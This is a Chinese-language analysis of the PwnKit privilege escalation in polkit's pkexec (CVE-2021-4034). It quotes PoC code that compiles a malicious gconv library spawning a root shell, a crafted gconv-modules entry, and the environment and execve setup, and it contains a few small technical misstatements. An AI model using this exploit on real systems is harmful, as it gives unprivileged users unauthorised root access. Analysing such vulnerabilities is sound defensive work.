This vulnerability is one of our most beautiful discoveries; to honor its memory, we recommend listening to DJ Pone’s “Falken’s Maze” (double pun intended) while reading this advisory. Thank you very much!

本文主要汇编自pwnkit: Local Privilege Escalation in polkit’s pkexec (CVE-2021-4034),略有改编和演绎。

一图胜千言

PoC来自于@bl4sty ,我们会在后面的小节中分析该 PoC 的原理。

简介

pkexec 是 Polkit 工具集中的一个 SUID 程序。Polkit 在系统层级进行权限控制,提供了一个低优先级进程和高优先级进程进行通讯的系统。和 sudo 等程序不同,Polkit 并没有赋予进程完全的 root 权限,而是通过一个集中的策略系统进行更精细的授权(引自ArchLinuxWiki - Polkit)。研究人员发现,由于对命令行参数的解析处理不当,pkexec 可执行程序存在一处越界读写的漏洞。黑客可以利用该漏洞重新引入“不安全的”环境变量,并利用 gconv 的特性,调用实现准备好的恶意程序,进而取得 root 权限。这样,用于提供权限控制的 polkit 就成为了 pwnkit

下面的因素致使这个漏洞变得非常重要,RedHat 甚至给出了7.8分的评价

  • 这个漏洞在 2009 年 5 月份,也就是 pkexec 程序被创建之初就存在(c8c3d83 commit);
  • 现今大多数 Linux 发行版都预装了 pkexec,比如 Ubuntu、Debian、Fedora、Centos;
  • 任何一个非特权用户都可以用这个漏洞获得完整的 root 权限;
  • 这是一个属于内存腐化(memory corruption)类型的漏洞,虽然这类漏洞通常需要精心构造内存布局,利用起来相对复杂且不太稳定;但就这个漏洞来说,可以很容易地以一种架构无关的方式可靠地利用;
  • 即使 polkit 守护进程没有运行,也可以被利用!

虽然这个漏洞在2021年11月就汇报给了 RedHat,但目前各发行版都没有直接的补丁来修补这个漏洞。用户暂时可以通过去掉 pkexec 程序的可执行属性来缓解该漏洞:

# chmod 0755 /usr/bin/pkexec

实际上,一篇发表于 2013 年的博文(见参考资料[1]) 就指出 pkexec 在解析参数时存在缺陷,但博主 @ryiron 当时并没有发现很好的利用方法。而这次的 pwnkit 漏洞,结合了对 GCONV 的利用,取得了很好的效果。如何组合这两个条件,是 pwnkit 漏洞利用的主要看点。整个漏洞利用过程并不复杂,文本将首先介绍 pwnkit 漏洞的成因,然后分析 @bl4sty 所提供的 PoC 的原理。为了更好地理解本文,读者最好能够悉知下述概念:

  1. setuid 等一族函数;
  2. main() 函数参数列表中 argcargv 的意义。这里需要特别注意,从 shell 中启动程序时,程序名是参数列表 argv 的首个参数,因此在这个假设下 argc >= 1 是成立的;但使用 execve() 启动程序时,这个假设就不成立了;
  3. ld.so,特别是“安全执行模式(Secure-execution mode)”;

pkexec 是什么?

pkexec 本身是一个类似于 sudoSUID-root 程序(即以root身份运行),它的功能可以看 man 手册:

NAME
       pkexec - Execute a command as another user

SYNOPSIS
       pkexec [--version] [--disable-internal-agent] [--help]

       pkexec [--user username] PROGRAM [ARGUMENTS...]

DESCRIPTION
       pkexec allows an authorized user to execute PROGRAM as another
       user. If PROGRAM is not specified, the default shell will be run.
       If username is not specified, then the program will be executed
       as the administrative super user, root.

从摘要(synopsis)一栏中我们知道:

  • pkexec 有一个可选选项 --user ,用于指定执行程序的用户身份;
  • 一个必选的参数 PROGRAM 代表要执行的程序;
  • 以及随后的传递给 PROGRAM 的可选参数列表 ARGUMENTS...

漏洞成因

pkexec 对命令行参数的解析处理不当,是 pwnkit 漏洞的主要诱因。其 main() 函数如下:

 435 main (int argc, char *argv[])
 436 {
 ...
 534   for (n = 1; n < (guint) argc; n++)
 535     {
 ...
 568     }
 ...
 610   path = g_strdup (argv[n]);
 ...
 629   if (path[0] != '/')
 630     {
 ...
 632       s = g_find_program_in_path (path);
 ...
 639       argv[n] = path = s;
 640     }

这段代码先会遍历 argv 处理命令行参数(534-569行),由于在常见的情况下,argc 至少为 1,此时 argv[0] 是程序名自身,因此编码的时候从 n = 1 开始遍历。然后如果想要执行的程序不是一个绝对路径,那么它就会在 PATH 环境变量中搜索定位该程序(610-640行)。

不幸的是,完全可以在调用 execve 时, 以 NULL 作为 execveargv 参数。这样,被启动的程序的 argc 就为 0。进一步,被启动程序的 argv[0] 也就会是 NULL。那么:

  • 第534行,n 会因为不满足 n < argc 而被永远地设置为 1;
  • 第610行,argv[n] 自然就是 argv[1],这就是一个越界读;
  • 第639行,argv[1] 会被越界写成指针 s,其中 s 是找到的程序路径;

所以问题的关键就在于,越界读读到的 argv[1] 到底是什么?为了说清这个问题,这里需要做一些必要的介绍。当我们通过 execve() 去执行一个新程序时,内核首先将参数(argv)和环境变量(envp)列表拷贝到程序的栈上。正常的情况应该是像下面这样:

需要注意的是,argvenvp 指针在内存中的布局是连续的。因此如果 argc 为 0,那么越界的 argv[1] 实际上是 envp[0]argv[1] 也就是指向了环境变量的第一个变量,这里的 value。造成的结果就是:

  • 第 610 行,用于决定要执行程序的路径的变量 path 实际上是读取的 argv[1] == envp[0] == "value"
  • 第 632 行,由于 path 并不是一个相对路径(629行判断),因此 path == "value" 就传递给 g_find_program_in_path() 函数;
  • g_find_program_in_path() 函数在 PATH 环境变量中搜索名为 value 的可执行文件;
  • 如果找到了,那么它的完整路径就返回给 pkexecmain() 函数;
  • 第 639 行,通过 argv[1] 也就是 envp[0] 的越界写,完整路径覆盖了首个环境变量。

如果说得再清楚一点,就是:

  • 如果环境变量 PATH=name,并且当前工作目录存在 name 目录以及名为 value 的可执行文件,那么 envp[0] 就会最终被越界写为 name/value
  • 进一步地,如果环境变量 PATH=name=.,并且当前工作目录存在 name=. 目录并包含了名为 value 的可执行文件,那么 envp[0] 最终被越界写为 name=./value

观察到什么了么?这个越界漏洞允许我们将像 LD_PRELOAD 这样的“不安全的”环境变量重新引入到 pkexec 的执行环境中。对于这类 SUID 程序来说,在执行 main() 函数之前,通常 ld.so 会移除这些“不安全的”环境变量。

关键就是要如何利用这个强有力的基本操作。

利用原理

整个漏洞利用过程还是有一些小插曲。尽管我们有一个越界写,可以修改 envp[0] 的值,但是 pkexec 会在随后的702行清除掉环境变量。

 639       argv[n] = path = s;
 ...
 657   for (n = 0; environment_variables_to_save[n] != NULL; n++)
 658     {
 659       const gchar *key = environment_variables_to_save[n];
 ...
 662       value = g_getenv (key);
 ...
 670       if (!validate_environment_variable (key, value))
 ...
 675     }
 ...
 702   if (clearenv () != 0)

研究者进一步发现 pkexec 会调用 GLib (GNOME 库,而非GNU C) 的 g_printerr() 函数。比如 validate_enviornment_variable() 以及 log_message() 都会调用 g_printerr()

  88 log_message (gint     level,
  89              gboolean print_to_stderr,
  90              const    gchar *format,
  91              ...)
  92 {
 ...
 125   if (print_to_stderr)
 126     g_printerr ("%s\n", s);
------------------------------------------------------------------------
 383 validate_environment_variable (const gchar *key,
 384                                const gchar *value)
 385 {
 ...
 406           log_message (LOG_CRIT, TRUE,
 407                        "The value for the SHELL variable was not found the /etc/shells file");
 408           g_printerr ("\n"
 409                       "This incident has been reported.\n");

g_printerr() 函数通常是用来打印 UTF-8 编码的错误信息,但如果环境变量 CHARSET 不是 UTF-8 的话,该函数也可以处理。当然,这个漏洞的过错并不在 CHARSET 环境变量上。为了将 UTF-8 转化为其它字符集,g_printerr() 会调用 glibc 的 iconv_open() 函数(对,这个是GNU C库的函数)。

iconv_open() 需要依赖一个小型共享库来完成字符集转换。通常来说,源字符集("from")、目标字符集("to")以及库名称(library name)三元组所决定的转换规则,是从一个默认的配置文件,也就是 /usr/lib/gconv/gconv-modules 中读取的。当然,可以也使用 GCONV_PATH 环境变量去强制 iconv_open() 函数读取指定的文件。考虑到 GCONV_PATH 这种可能会导致任意库文件执行的特性,它被视作“不安全的”环境变量。这样,在执行 SUID 的程序时,ld.so 会将其移除。

现在, 有了 pkexec 的越界写漏洞,我们能够重新引入这些不安全的环境变量。是时候大显身手了。

Payload 原理分析

@bl4sty 提供了一个 PoC,可以有效复现并利用这个漏洞。为了理解 PoC 的原理,我绘制了一个简单的流程图:

一、准备恶意gconv

第一步,准备编译恶意的 gconv 共享库。这个恶意程序本身也是一个 SUID 程序,在 setuid() 等调用之后,通过 execve() 为我们启动一个 shell:

void compile_so() {
    FILE *f = fopen("payload.c", "wb");
    if (f == NULL) {
        fatal("fopen");
    }

    char so_code[]=
        "#include <stdio.h>\n"
        "#include <stdlib.h>\n"
        "#include <unistd.h>\n"
        "void gconv() {\n"
        "  return;\n"
        "}\n"
        "void gconv_init() {\n"
        "  setuid(0); seteuid(0); setgid(0); setegid(0);\n"
        "  static char *a_argv[] = { \"sh\", NULL };\n"
        "  static char *a_envp[] = { \"PATH=/bin:/usr/bin:/sbin\", NULL };\n"
        "  execve(\"/bin/sh\", a_argv, a_envp);\n"
        "  exit(0);\n"
        "}\n";

    fwrite(so_code, strlen(so_code), 1, f);
    fclose(f);

    system("gcc -o payload.so -shared -fPIC payload.c");
}

二、准备绕过程序搜索

第二步要创建 GCONV_PATH=./lol 文件,这一步是为了让 pkexec() 632 行正常返回。

三、准备恶意 gconv-modules

第三步,准备恶意的 gconv-modules 配置文件(见上一章节关于 gconv-modules 三元组部分),引导程序在转换字符集时调用我们写好的 payload 程序:

module  UTF-8//    INTERNAL    ../payload    2

四、准备调用环境

第四步,准备调用 pkexec()argcenvp

    char *a_argv[]={ NULL };
    char *a_envp[]={
        "lol",
        "PATH=GCONV_PATH=.",
        "LC_MESSAGES=en_US.UTF-8",
        "XAUTHORITY=../LOL",
        NULL
    };

完事具备,只欠东风,利用 execve 调用 pkexec,提权获得 root shell:

    execve("/usr/bin/pkexec", a_argv, a_envp);

PoC 执行完毕后布局如下:

$ tree .
.
├── blasty-vs-pkexec.c
├── GCONV_PATH=.
│   └── lol
├── lol
│   └── gconv-modules
├── payload.c
├── payload.so
└── pkexec-poc

参考资料

  1. argv silliness ~ryiron</hre>
  2. glibc locale issues
  3. charset.alias in pkexec/glib/gnulib
  4. Getting Arbitrary Code Execution from fopen’s 2nd Argument